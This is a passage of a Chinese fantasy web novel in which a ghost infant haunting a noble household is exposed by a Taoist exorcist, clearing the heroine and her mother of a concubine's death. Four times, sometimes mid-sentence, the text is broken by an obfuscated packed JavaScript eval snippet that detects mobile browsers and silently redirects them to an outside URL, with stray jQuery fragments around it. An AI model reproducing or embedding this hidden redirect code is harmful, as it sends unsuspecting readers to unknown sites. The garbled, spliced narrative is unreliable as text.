一个自始至终都只存在于胎腹之中、从未沾染过尘世俗气的婴儿,怎么会有那般怨恨骇异的眼神! 新生的婴孩,他们所拥有的,难道不应该是那种世上最柔软的,纯净的,最是天真而又无辜的眼吗? 就像刚出生时,被产婆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14956951|140064||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 抱出来的阿横那样。 夏侯铮惊异抬头,无意识地望向了自己的女儿。 可她却只是偎在母亲怀里,眸光冷滞,沉默着,脸上没什么表情地看着他。 他心有微怔,当年那个总爱眨着一双清透浓黑的大眼睛,满眼依赖地望着他的小女孩,是从什么时候开始,被他彻底弄丢了,不见了的? “看见弟弟了?”璃音见夏侯铮发怔,唇角微牵,忽地笑了,“阿爹不是一直都很喜欢弟弟的吗,怎么也才看了一眼,就跑开了?” 说着重新回头看了眼屋门上的红手印,一副研究的口吻道:“大了点,倒不像是弟弟的小手能弄出来的。” 顿了顿,忽敲了下自己的脑壳:“哦,我怎么忘了,弟弟那么厉害,神通广大的,天下哪有他做不到的事,那这手印……” 正说话间,哗啦啦—— 一道虚影劈开水面,鱼跃一般,从缸中钻跳出来,一个蜷手蜷脚,姿势宛若置身胎盘的男婴,像一颗被人抛掷而出的大肉球,凌空向璃音冲了过去。 那“肉球”冲得快,但璃音反应更快,一手拉住阿娘,一手扯过秋莺,忙向左边大步一个疾避,还大力按着两人的肩,迫着她们同自己一起,就势矮下了身…… 果然“肉球”对她们的左避有所预判,空中向左一个偏拐,便如箭一般,直直狠撞了过去。 只没想到三人竟还同时往下一蹲,于是…… 璃音发顶几缕墨丝微动,她甚至感觉到了物体飞速从她头顶掠过时,所激荡起的那一阵残风。 再然后,便是…… 砰—— 一声巨响! 璃音一抬头,就见那“肉球”声势浩大、不偏不倚地,刚巧砸在了左边门板的一只猩红手印上。 一击不中,璃音只当它还会折返,已飞速从发间拔了一根银簪下来,总之,他敢过来,她就敢把肉球戳成煤球,蜂窝煤的那种球! 不料,那“肉球”竟没回身,也不下坠,他身子与门板上手印接触的地方,竟像是被浆糊给糊住了一般,任他脑袋猛锤,四肢乱挣,但就是被牢牢粘在了那个胭脂涂成的“血手印”上,脱身不得。 婴儿得不到他想要的东西,是不会说话的,只有六个月大的“肉球”更是不会,只见他脑袋一扬,小嘴一张,放开嗓子,就是一阵惊天动地的嚎哭。 吵死人了。 璃音被这哭声吵得脑壳子里嗡嗡的,正思索着要不要直接上去,实施自己的蜂窝煤计划,就见右边门板上的另一只“血手印”竟也动了起来,像一张大红的手形窗纸被人轻轻揭下,然后啪的一声,狠狠拍在了“肉球”的后脑上。 小儿聒噪的啼哭声顿止。 再一看,哦,小儿也晕了。 璃音呆了一呆,茫然回身一望,就见那头水缸边上,自己那并不简单的便宜夫君,仍旧覆着面具,长身玉立地站在那里。 所以,方才她身陷险境,他竟一步也没挪动一下! 甚至现在,他连看也没在看着自己这边,而是微垂着眼,似乎在望着水缸后面的什么东西。 然后,他伸出一只手,在空气里悬停了一会,五指微拢,像是正揉着谁的发顶一般,轻柔地摸了一摸。 127. 第126章 击鼓 “大哥哥,姐姐在看你。” 少年的嗓音轻轻怯怯,他蹲藏在水缸后面,只探出一点脑袋,把一双湿漉漉的鹿眼在缸沿上方怯怯露着,小心探看着院内的动静。 少年才刚化出人形不久,虎斑鹿角还未能褪得完全,但方才,身边这位戴面具的大哥哥在他头顶轻轻一拍,竟把他一身的兽纹斑角都给拍没了!以后,他在外行走,便可与常人无异,再不必费力隐身了。 于是作为回报,他很自觉地将自己探看到的每一点动静,都向大哥哥汇报了起来。 眼看着管家一路飞跑出了小院,他连忙报道:“老东西喊人去观里请道士了。” 喊摇光和璃音是“哥哥姐姐”,喊夏侯铮就是“老东西”。其实夏侯铮今年还未到四十,正值壮年,所以,一个称呼,亲恶尽显。 不过其他人在做什么,摇光并不关心,只听见少年说璃音在看他,便收起搭在少年头顶的掌心,也回头去看,不料少女却把头一撇,不想和他对视似的,将原本望向他的目光,默默移开了。 明明没出声,却仿佛能听到她哼的一声,就响在了自己耳边。 摇光眉峰微动。 她这是在,生他的气? 思索片刻,没能思索出哪里惹了她不高兴,便直接几步走近她身侧,清声问她:“怎么了?” 明知男人走了过来,但璃音眼神在院内左飘右飘,好一阵逡巡,偏就是不看他:“什么怎么了。” 摇光好笑:“在找什么?” “绳子什么的。”璃音一副用眼睛找东西找得很忙的样子,反正就是没空看他,“不得把那坨不知是人是鬼的东西捆一捆?” “不用,它跑不了。”摇光看一眼门板上的鬼婴,“手印里有阵法,已把鬼婴镇住了,等请的道士过来,做场法事将它超度,便可了结。” 这话说得神叨叨的,但从他口中说出来,莫名就有种分外可信、且能安定人心的力量,还好还好,镇住了,院中好多人都暗暗松了口气。 夏侯铮也稍有定心,先前猛一下被阴森鬼面惊了魂,如今回过神来,虽已着人去请了道士,但想起旁人口中的“鬼婴”,是自己未能有缘出世、承他家业的孩儿,面色仍是复杂。 “阵法?”璃音听摇光说得笃定,也终于忍不住转回头来看他。 摇光视线回转,刚好迎上少女装满好奇、再顾不上闹小脾气的目光,笑了笑,朝她轻轻一点头:“嗯,所以它今日才会显影。” 是手印里的阵法逼鬼婴现了身,还用一个巴掌止住了他适才的发疯? 还有…… 璃音盯着男人从容的眼,忽然想到:适才鬼婴向自己冲来的时候,他是早知那手印中阵法的威力,知道院中不会有危险,所以才那样淡定,步子也没挪动一下的么? 如果是这样的话,那他这遇事不慌的样子,作为自己的“同伙”,倒还是挺…… 好吧,挺合格的。 璃音自己是个喜欢被人夸奖的,于是只要心里满意了,夸起别人来自然也是毫不吝啬。 当下对着男人,眼睛一弯,就小声凑去他耳边夸了起来:“夫君,你好像知道很多东西,真厉害!” 连阵法都知道,当然得赶紧夸他两句,讨个交情,看改天能不能向他请教请教,好让自己也学学这本事。 正想着,也没顾得上看男人是个什么反应,就听见门板上倏地咚咚两下撞响,紧接着一声啸叫传来。 原来是那鬼婴醒了,又用脑门猛敲了两记门板,只仍是不得挣脱,便鬼哭狼嚎起来。 看来那手印的威力确实很大。 鬼婴嚎声尖厉,璃音扭头去看时,那鬼婴也正好一个回头,满眼的怨毒、愤懑和不甘,便都如森寒的霜箭一般,直直射入了璃音的眼底。 璃音被这眼神瞧得一激灵,登时一阵恶寒爬上全身。 他在恨她?! 一个仅在胎腹中存在过,与她根本从未谋面,且尚未出生就受尽了父亲偏宠的婴儿,居然在恨她?且记恨了整整十年! 他能记恨自己什么? 简直莫名其妙! 更气人的是,婴儿这种生物,根本不会用语言表达自己,除了哭,还是哭,而且就只冲着璃音一人哭,哭得那叫一个受尽委屈、肝肠寸断。 跟受了她多大欺负似的。 秋莺也看出不对来了,拽着璃音的胳膊,小声道:“小姐,他好像是有话想要对你说。” 这个“说”字还是用的委婉了,那阴寒的眼神,那一声声的怒嚎,分明不是有话想说,是有脏话在对着璃音狂骂。 璃音觉得真是岂有此理:“我都还没说过讨厌他,他倒是先‘骂’起我来了。” 当然,比起“挨骂”,更叫她受不了的是,这小东西叽哩哇啦一通聒噪,她还是不晓得自己究竟何时何处得罪了这位小爷。骂她可以,总得让她知道个理由吧! 不然,这一番血泪控诉般的场景看在别人眼里,肯定很快就会有人开始瞎猜,是不是她曾用阴毒术法暗害过这弟弟了! 啊,这有嘴说不清的感觉,想想就来气! 摇光看她把手中银簪捏的死紧,不用想,就知道她在气什么:“他想说的话,一会来超度他的道长会听到的。” 其实能不能听到,也要看道长的修为,只不过即便道长法力不济,他也会确保道长一定能听到罢了。 这样啊,璃音点点头,气消了些,那只要等道长过来,一切真相就会明朗了。 就是那哭声,委实吵了些,要是能…… 啪—— 心里念头才起了一半,那本已烙在鬼婴后脑勺的红手印,便又一次高高扬起,然后对准了婴儿娇嫩的脸蛋,重重落了下去。 哎呀,这手印简直能读自己的心似的,难道是自己人? 不过…… 璃音心虚地咽了咽喉咙。 下这么重的手,打一个这么小的婴孩,这不太好吧…… 毕竟就目前看到的,这鬼婴也只是叫唤扑腾得厉害了些,虽然表情很凶恶,但人是一个也没能伤到,倒是老大的巴掌吃了两个。看他现在瘫趴在门板上,半边脸肿起老高,眸光呆滞,嘴巴大张,却不出声,显然是被打懵了。 再被门上还未来得及揭下的大红囍字一衬…… 还真有几分阴森森的可怜。 可自己方才也只是阴暗地设想了一下,没想到真会被实施啊! 一瞥眼,果然瞧见阿爹又是踌躇,又是心疼的眼神。 身边阿娘也惊得“唉哟”了一声。 璃音撇了撇嘴,自己和这弟弟当真八字不合,活着死了都不合! 有点自责,又觉得为什么要自责,是他先冲出来招惹自己的,自己除了正当防卫,又没对他做什么! 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14968809|140064||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >心里正拧巴,忽听身侧传来咚咚的鼓声,循声一看,是丁四嘴里塞着的那只拨浪鼓,竟自发敲转起来了。 鼓声响动间,那鼓也自丁四口中慢吞吞旋了出来,一路咚咚敲响着,径直敲去了鬼婴跟前。 然后突然就像受了什么刺激似的,猛地加速狂摇,两根绳牵的小鼓锤都被转出了残影,一下一下,轮流狠砸在泛黄的鼓面上,砸得鼓声骤急,疯狂躁响! 一声声,响得声势震天,如泣如诉。 都响在鬼婴的耳边。 那鬼婴原被红手印一个巴掌扇懵了,现下被鼓声一震,又回过神来,那脸上的表情,似是惊惧,又似是不可置信,两只刚成形的小手死命捂住耳朵,脑袋狂甩,口中啊啊惊叫着。 这场面,一鼓一鬼,鬼的脑袋甩到哪边,那鼓便追着往哪边敲,这样的敲法,就好像是在…… 璃音突发奇想:就像是在击鼓鸣冤! 若果真是击鼓鸣冤,那么,是谁在击鼓?为谁鸣冤?想要昭示的又是什么冤情? 鼓声越敲越急,鬼婴的叫声也愈发凄厉,秋莺看得起了一身鸡皮疙瘩,忍了半天,终于忍不住了,向璃音和杨夫人悄悄凑了脑袋过来,压着嗓子,小声道:“这鼓敲成这样,你们说,丁四,还有前些年那两个,会不会……” 她偷觑了眼夏侯铮,怕被听见,忙将嘴巴用手虚掩了,脑袋又往近处凑了凑,几乎是在用气音向两人说道:“会不会就都是被他给害死的啊?” 好秋莺,竟和自己想得一样!璃音真想给她竖个大拇指,但这动作有点不合时宜,忙也偷觑了眼阿爹,发现有被看见的可能,只好忍下了,换作一个赞许的眼神,毫不吝啬地投向了秋莺。 秋莺收到鼓励,精神大振,立马滔滔不绝地给两人分享起了自己的分析。 “你们看,那死掉的三个人,是不是都死在水缸里?而那鬼婴,刚刚是不是就从水缸里冒出来的!说不准就是他专埋伏在水缸里,等人取水的时候,拽人进缸,把人溺死呢?” 秋莺越说越觉得自己的推理天衣无缝:“还有那倩夫人,是不是就是跌进水里没的!所以他跟着一起,也能算是在水里溺没的,我就听说有一种水鬼,自己淹死了,不肯去投胎,专爱等在淹死的地方,拽人下水……” “别胡说!”杨夫人听得心惊肉跳,忙也凑着脑袋,压低着声音道:“那孩子才几个月大,哪会有那般作恶的心思和本事……” 说着,想起鬼婴方才嚎叫时凶狠的眼神,还有冲着阿横杀气腾腾的那一撞,那可不是要心思又心思,要本事有本事么? 于是心里也没了底,忙也拿眼偷觑了下不远处的夫君,掩了嘴,用气音提醒道:“总之,没影子的事,先别乱说。” 璃音倒觉得秋莺分析得很对,不停向她点着头。 只是,若府中三个家仆都是被鬼婴拖拽进水缸,溺水而亡的,鬼婴算是作恶方,那他的母亲倩夫人去哪了?是早已入了幽冥,还是也和鬼婴一样,至今仍在府中? 若倩夫人尚在府中,她扮演的又是个什么角色?鬼婴、红手印和拨浪鼓,看起来似乎是三拨截然不同的势力,倩夫人,她又是属于这里面的哪一方呢? 正思索着,不经意间一个抬头,看见身侧一直安静站着的夫君。 璃音不禁微微睁大了眼。 嚯,他这是怎么了? 好红的一只耳朵! 128. 第127章 怀疑 璃音这边三个脑袋凑一块嘀嘀咕咕了半天,自以为隐蔽,那头夏侯铮其实早看见了。 拜托,每说个几句,就有一个脑袋看似鬼鬼祟祟、实则明目张胆地抬起来,往他这里觑上一觑,真是…… 想不注意到都难! 而且,就眼前这情景,她们几个背着自己会在说些什么,真是不用想也知道。 无非就是觉得,丁四之死可能与那鬼婴有关。 可见过了鬼婴那般不忿的怒号,夏侯铮心里缓缓升起来的,却是关乎另一桩旧事的猜测:当年小倩落水,果真只是她自己一时不慎,失了足吗? 当年出事之后,府中不是没有过风言风语,他也不是没有过猜疑,可最终,为了维护妻子,还是强逼着自己,将那些可怕的想法都压了下去。 可今日,他见鬼婴如此嚎啕,曾经强压下去的那些猜忌,不禁重又翻涌了上来。 若非当年之事有冤,一个六个月大的孩子,何以会生出如此强大的怨气和恨意? 一转念间,芥蒂重生。 又想自己这么多年来,顶着族中压力,对杨夫人百般维护,不过换来她对自己近十年的不理不睬。 今日两人说话算是多的了,但有一多半都是在指着鼻子互骂。 虽说吵架是比不说话好,她重又愿意和他吵架,吵到后面,他竟有些鼻酸眼胀的冲动,甚至回嘴时,说的好些重话也不是真心,只唯恐说得轻了,她下一句就要懒得回骂。 可她呢,当着一众家仆的面骂他的时候,那叫一个句句真心,毫不留情!好像他真犯了什么十恶不赦的大罪似的! 再看杨夫人此时背着自己和别人说小话的模样,心里一下子像是窜了把火,面色一沉,便向着那边三人喝道:“有什么话不好当面讲,凑在那里唧唧哝哝的,像什么样子!” 他这次是真怒,一开口,语气便不免难听起来。 那边璃音呢,本来正好奇地端详着自己夫君红红的耳垂,一会想着是不是他面具的绑绳勒得太紧,一会又忧心他是不是受了鬼气的影响。 毕竟这人也只是看起来懂得多,八字却未必有自己这么硬,这院里鬼气森森的,出于“同伙”的情谊,或许也该把他拉进自己怀里,把他庇上一庇? 但现下自己怀中一个秋莺、一个阿娘,左拥右抱早已满了,又哪个都不能舍弃,实在腾不出手来,“同伙”嘛,和真正的家人还是不能比的,于是这想法也果然只是想了一想,便即作罢。 猛地听见阿爹这一声喝,璃音回神扭头,面色也立马一沉,沉得比夏侯铮还厉害。 一见女儿摆出这副不讨喜的冷脸,夏侯铮愈发不悦,心里那团火正撑着没处发,于是冷笑一声,沉声向着杨夫人道:“杨茹,我再问你最后一遍,当年小倩的死,真和你无关么?” 这话一出来,就是真的宣战了。 一片死寂。 杨夫人当即冷下了脸。 家仆们一个个屏息垂手站着,深怕哪一下呼吸重了,大气也不敢出。 杨夫人不答话,只将夏侯铮冷冷望着,这与先前的大声互骂不同,府里待久了的老人都知道,像这种沉默的对视,才是真正的硝烟。 璃音冷着脸,正想说些什么,唇才掀起一半,夏侯铮突然眸光一侧,看向了她:“杨茹,这么多年,无论我怎么问你,小倩当时是如何掉进池里的,你总推说不知道、没看见……” 璃音心中立刻有了某种预感。 果然,下一息,就见阿爹缓缓抬手指向了自己,语气沉冷:“是因为小倩的死,和你无关,但和她有关,是吗?” 此问一出,院中原本正忙着屏息的众家仆,都不由得倒吸了一口凉气。 当年只有六岁的孩子,说大不大,说小却也不小了,早已懂得了什么是厌恨,什么是嫉妒。 甚而有时,因着有些道德观念尚未形成,且还不懂得如何伪饰自己,孩子一旦发起狠来,那就是纯粹的恶意宣泄,直比许多大人还厉害! 而在这个府中,要说嫉恨倩夫人和她腹中胎儿,嫉恨到要他们母子去死的,除了杨茹,可不就只剩下那位曾经独占过阿爹宠爱的大小姐了么! 正因为是她害死了倩夫人母子,所以七年前,血手印才会出现在她床头,而今日,鬼婴也才会如此憎恨和针对她。 一切都说得通了。 “看来阿爹觉得,当年是我因为嫉妒即将出生的弟弟,所以把人推下了水,而阿娘为了包庇我,才一直对此缄口不言,对吗?” 璃音面无表情地说着,结霜的一张脸上,连冷笑都没有了。 早就料到有人会这么想,却没想到第一个把这想法说出来的,会是自己的父亲。 可真正让她无法接受的是。 原来在阿爹眼中,她是这样一个人吗? 一个狠心到可以把孕妇推入水中、任其挣扎、直至溺死的人? 可她明明从小到大,都从未做过伤害别人的事。 而那个鬼婴,却就在刚刚,才满眼怨毒地攻击过自己。 结果在阿爹心里,没做过坏事的她,才是那个更有可能的坏人。 说不清心里是什么感觉,似乎是委屈、是生气的,却又好像已经麻木,感受不到自己的任何情绪。 只是有一点点累,浑身提不起什么力气,本该在生气时攥紧的银簪,此时也没气力去握,璃音缓缓抬手将它簪回发间后,平静地说了一句:“阿爹忘了,那年阿娘在府上为我请了先生,每日巳时,我都要跟着先生读书,没空去推人下水。” 倩夫人在巳时落水,当时她正在馆中念书,这事都不必找出当时的先生来对质,恐她逃课钻空子,因为她是个从不逃偷懒学的乖学生,开馆以来,每课都学得认真,没缺过一堂课! 先生走时,还将这事在阿爹阿娘面前好生感慨了一番,说若是个男孩,如此勤学,搞不好状元都中来了!听得阿爹好一阵嗟叹。 显然夏侯铮还记得此事,听完这一句,自知璃音绝无推人下水的可能,抬着的手慢慢放了下去,不说话了。 可眸中的疑虑却仍是不消。 这时,杨夫人突然开口了:“小倩那日来我院中,是来托我,允她入学。” 璃音和夏侯铮听得俱是一愣。 杨夫人忽笑了下,续道:“她看我院中几个小鬟都读过些诗词,能在喝酒时,与一起唱和行令,她却是小户里出来的,一个大字也不识,每每便融不进这热闹。又看阿横每日上馆,心下羡慕,便也想像阿横一样,拜个先生,念书习字。” 她看向夏侯铮:“她说这事先求了你,你不允肯,才又求到我这里,只此事也非我可允,她已为人妇,又有身孕,不适合再拜先生,入馆习学。” “我看她实在低落,所以就与她说,往后巳时,阿横去馆中念书时,她可以来我院中,若不嫌弃,就当我是她的先生,粗浅教她认几个字。” “那天她走时很高兴,与我约定好,明日巳时,彼此都要穿正式的衣服,她也要像所有入馆的学生那样,正正经经地向我拜师。” 说到这里,顿了顿,看向夏侯铮的眸光变得复杂:“临走时,她又折回来,说家主觉得念书耗神,不利于养胎,不喜她总想这事,故而特地求我为她保密,我应下了。” 她想要念书识字,或许也不仅是艳羡别人可以吟诗作对,她出身不高,算是机缘巧合才入的府,见自己学识连府中小鬟都不如,或许她心里也藏着深深的不安,深怕夫主得了子嗣,自己便没了吸引力,所以才迫切想要学点什么吧! 杨夫人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14979847|140064||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一声轻叹:“可不想她才出了房门没多久,我就听见外面有人惊叫,去到院中看时,小倩已溺水了。” “我曾答应过小倩,要替她将拜师念书的事保密,所以这么多年,我都不曾说过她到我院中的来意,我知道你因此一直对我存有疑虑,这些,我都可以无所谓,可是!” 杨夫人眼神陡然锋锐,她没有抬手,目光却有如指戳:“可是夏侯铮,你怀疑我便罢了,如今竟怀疑到阿横身上,你太也过分!莫说阿横那时才是个六岁的孩子,你女儿品性如何,难道你一点都不了解!你连年爱说她性子古怪,我也懒得驳你,你可以觉得她怪,说她是个怪孩子,但你睁开眼睛好好想想,她可曾真的做过什么错事,你真有脸说她是个坏孩子吗!” 那日杨茹共答应了小倩两件事,一件是教她念书习字,可惜这事她没能完成,于是她便想尽力为她完成另一件事,她守着一个承诺,为小倩保守了十年的秘密。 可如今为了女儿,终究还是说了出来。 但这也是无可奈何的事,她不可能让阿横一辈子都活在亲生父亲充满疑虑的目光之中,杨茹心想,便是小倩知道了此事,想必也会谅解自己的吧。 夏侯铮听完,已是呆怔住了。 若杨茹所言是真,那么小倩去往杨夫人院中,起因竟是自己坚决否决了她想要念书的想法,她才只得转而去向杨夫人求助。 这因果不能细想,若想下去,那么如果自己当时同意了小倩去念书识字,是不是这一切就都不会发生,他的儿子也已平安降世了? 璃音也颇有些意外,没想到当年倩夫人去找阿娘,会是这样一个缘由。 一个孕妇,不过想在闲时念点书,识点字,竟也会在夫主那里遭拒。 那如此看来,倩夫人和阿娘的关系,哪怕算不得好,也绝算不得坏的,要说她和她儿子的怨魂徘徊在府中,专杀阿娘和自己院中的人,便更没道理了。 正想着,空中蓦然一道银蓝色的冷光划下,如白日里的一颗流星,精准地落入了这方院中正中。 所有人都是一惊,忙转头向那道光芒看去。 “老爷!道长……咳咳……道长请来了!” 人影未见,管家那一把抑着惊惶和咳嗽的嗓音,先从那团冷蓝的光晕里传了出来。 说着,管家那熟悉的身影便跑了出来,大概是来的路上被风呛着了,他捂着喉咙,往稍远处狂奔出几步,便是一阵狂咳。 接着,清光渐散,在那微弱的残光之中,一个身穿灰蓝色破旧道袍的白头发老道,拄着一截粗壮泛黄的竹拐,缓缓从里面走了出来。 夏侯铮忙口中称着“道长”,恭敬地迎了上去。 道长却看也没看他一眼,她老而不浑的视线缓慢地扫过院中,掠过水缸,在缸后稍顿。 又再掠过丁四的尸体,没作停留。 继而掠过门板上被两个红手印夹住、动弹不得的鬼婴,这次,她盯着看了好一会。 最后,一双与这副年迈身躯全不相符的、小鹿一般的眼神,意味深长地,落去了摇光的身上。 摇光不动如山地被她看着,对这位道长的到来,没给出一点表示。 道长按捺着额角跳动的青筋,努力保持着众人眼中仙风道骨的完美风姿,但一道仅有两人可以听见的传音,已毫不客气地向着摇光扔了过去:“神君,您要半路给小仙加速,小仙也能理解,但下次,提前给个声行不行!” 可怜她这身子骨,一把年纪了,老胳膊老腿正倒腾着,就被神君动用星辰之力,一道强光给掳了过来。 真是的,她留下的阵法这不是好好的,璃音姐姐不也好好的吗? 云上真人装作捋发的样子,默默擦去额角被惊出的一滴冷汗。 急什么呢这是! 129. 第128章 真凶 定过了神,云上真人从摇光身上收回视线,也不去看殷勤迎来的夏侯铮,径直向前一步,提起手中竹棒,一指丁四的尸体,没半句废话,直奔主题:“这人是被鬼婴脐带绕颈,拽于缸中,溺水而亡。” 话音一落,鸣冤的咚咚鼓声立时止息,拨浪鼓一个飞旋,啪的一声,便掉落回丁四身上,再无动作了。 话中真假,已尽昭然。 院中众人见此情形,皆不自觉屏了声息。 丁四,还有前些年死去的那两个家仆,竟真是被这鬼婴害死的! 是啊,他们忽然意识到,往年缸中死了人时,他们往往都只想到那是倩夫人的忌日,便自然觉得是倩夫人的冤魂索命来了,却无人注意到,那分明也是这鬼婴的忌日! 这时,被困于门板上的鬼婴,忽又凄声大叫了起来。 “道长,是不是弄错了,这怎么可能……”夏侯铮闻那哭声,心下恻然,跟上一步,抬手指向哀哭不住的鬼婴,“他才是个不足六月的胎儿,能有什么理由要害这些人?” 云上真人闻言微微一笑,笑出一脸高深莫测,旋即将竹棒向前一点:“大人若是不信,那便听他自己来说吧。” 语毕,握于棒首的一指轻叩,一道淡黄色的流光便自她的指尖弹出,游鱼一般,沿着棒身迅疾划过,最后往前轻轻一跃,正落去了鬼婴额心之上。 黄色光晕流散,沁入鬼婴灵台识海之中,霎时间,哭声竟化作了人语,都清清楚楚地自那鬼婴口中嚎了出来。 “我……我的!”鬼婴猛然回头,一双不甘的黑眸,再一次恶狠狠地向璃音盯了过去,“还给我……谁允许你抢我的东西!该死,抢我东西的人,都该死!” 璃音听得莫名其妙,倒没多少焦恼了,鬼婴既已能口出人言,她便不怕与他对峙:“我何时抢了你什么东西?” “阿爹总对我说,我的,这府中的一切,夏侯家的一切,以后全部都会是我的!”鬼婴盯紧了璃音和她身后的摇光,眸中似要喷出火来,“是你!是你把属于我的一切给抢走了!凭什么,你凭什么!还给我,你把我的东西还给我!” 婴鬼说话时,整个面庞都因愤妒而扭曲了,那样狰狞,那样丑陋。 而他说出的这番话,更是把夏侯铮听得一愣。 不错,这些话,确实都是自己曾对他说过的。 在他还在小倩腹中时,自己最喜欢做的,便是把耳朵贴在小倩柔软的孕肚上,与尚未出生的儿子,说这些交定未来富贵的大话。 谁能想到,这些话竟真入了他的耳,甚而成为了一个胎儿的执念,以至于死后成为怨灵,徘徊在这座本该属于他的府中,至今不肯消散。 璃音见阿爹怔愣,倒是反应过来了另一桩事,轻勾了勾唇,将身后的摇光拉来自己身边,亲昵地挽上他的胳膊,迎着鬼婴杀人般的目光,好整以暇地道:“所以今年你不挑在自己的忌日,却专挑在我和夫君洞房之后的这一日作乱,是怕我怀上夏侯家新的男胎,自此往后,你在阿爹心中,便连最后一点怀念也不会有了,我猜得可对?” 摇光突然被少女挽了胳膊,袖下指骨微拢,徒劳地抓了把空气,隔了一会,又再松开。 云上真人看着,在心里不住地摇头:这若是在六百年前,小侯爷早就趁机一把牵住姐姐的手了,哪里会有这般扭捏。 神君,您这……身份变高了,怎么反倒不行了啊! 鬼婴望着亲密无间、交臂挽在一处的两人,双眸一凛,喉间挤出一声厉吼,接着腹部一缩一鼓,一条湿淋淋、黏糊糊的脐带,便自他肚中唰地射出,直劈璃音面门而来。 脐带来势迅疾无伦,早已超出了凡胎肉眼可以做出反应的速度,摇光双眸微眯,向云上真人瞥去一眼,便反手一把抓住璃音的手,眨眼之间,已带着她斜退数步。 “噫,好脏。” 云上真人嫌弃地一挥竹棒,轻飘飘便将那脐带自璃音身前格开,然后棒身竖转,棒尖穿透脐带,狠狠望地一戳。 那脐带便如被钉住的一条游蛇般,任它如何挣扎动作,都只被竹棒插住了身子,牢牢钉在了地上。 “我不过平常地活着,就值得他这样恨我?”璃音反应过来之后,恼意也随之升腾,手也不及抽出来,就望着满身愤恨的鬼婴,一字一句道:“问我凭什么,就凭你还只是什么也不会的一坨肉,未来学识不知如何,而我早学透了父亲的本事,他会的,没哪样是我不会的,我会的,他还未必就会!” 而鬼婴似乎根本没听懂璃音的话,只一个劲地嚎叫:“我的!我的!” “他其实还太小,并不懂得这些。”摇光轻轻捏了捏少女气得微颤的掌心,给她安抚,“正因为不懂,所以父亲说什么,他便自然而然把那些话当做了天条,在他眼里,你只是逆反了天条,他才会这样恨你。” 璃音听明白了他的意思,在鬼婴的鬼哭狼嚎声中,转头瞥了一眼仍在呆怔的阿爹,一时只觉心中好一阵疲累,再无话可说。 云上真人看璃音没了兴致,便将目光射向叫唤不止的鬼婴,不耐地掏了掏耳朵,道:“别叫了,还有什么话赶紧说,一会到了阎君那,他可没真人我这么好的脾气,能容你怨气冲天地乱嚎这么久。” 杨茹心中这么多年,一直记挂着倩夫人落水之事,知道这是接近真相的唯一机会了,忙抓住时机,向那鬼婴问道:“你母亲当年,究竟是如何落水的?到底是她滑足不慎,还是有人要害她?其间若有冤情,你何不趁此机会,与她诉说明白。” 鬼婴一听,分明无牙无齿的一张脸上,竟突然现出了咬牙切齿的神情:“那个蠢货!阿爹让她万事以我为重,不许她乱走,她偏不听,结果脚滑,她自己死不足惜,却把我也害死了!蠢货!蠢货!” 这一番话,算是终于还了自己和女儿清白,但也直听得杨茹大皱其眉:“没有你母亲辛苦怀胎,你又从何而来?本就是她给了你生命,她因意外丧命丧子,又非故意,本已悲极痛极,哪里又轮得到你来骂她这一声‘蠢货’!” 转头向云上真人一揖,道:“道长,此等弑姐辱母的恶婴,还请您快快送他超度去吧!再多留一刻,都是污了我府门楣!” 至此,丁四等三位家仆之死,倩夫人之死,各自真凶为谁,皆已明了,再无存疑之处。 云上真人一瞥眼,看见摇光与璃音不知何时牵在了一起的手,嘿嘿一笑,向杨夫人道:“好好好,烦请夫人摆下香案,贫道这就做下九幽醮,送这恶鬼去给阎君发落。” 看来神君的脸皮是没在人间做慕小侯爷时那么厚了,记忆也失散了许多,但对着姐姐时,那闷声不响、有隙便乘的本事,倒还是一点不减的。 云上真人老怀甚慰。 在这份轻盈的心绪中,手中竹棒扬起,向着鬼婴后脑上欢快地一敲,便把他敲成了一摊肉饼。 夏侯铮惊叫一声,晕了过去。 院中众人一半被夫人领了去设香摆案,一半忙跑上来搀扶老爷,一时间,好一阵手忙脚乱。 璃音看得意兴索然,欲要转身时,才发现手还被人牵着,不禁愣了愣,低头一望,望见了和男人交握在一起的手。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14991324|140064||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “去哪。”摇光察觉到她的动作,握着她的手反了紧,“我陪你。” 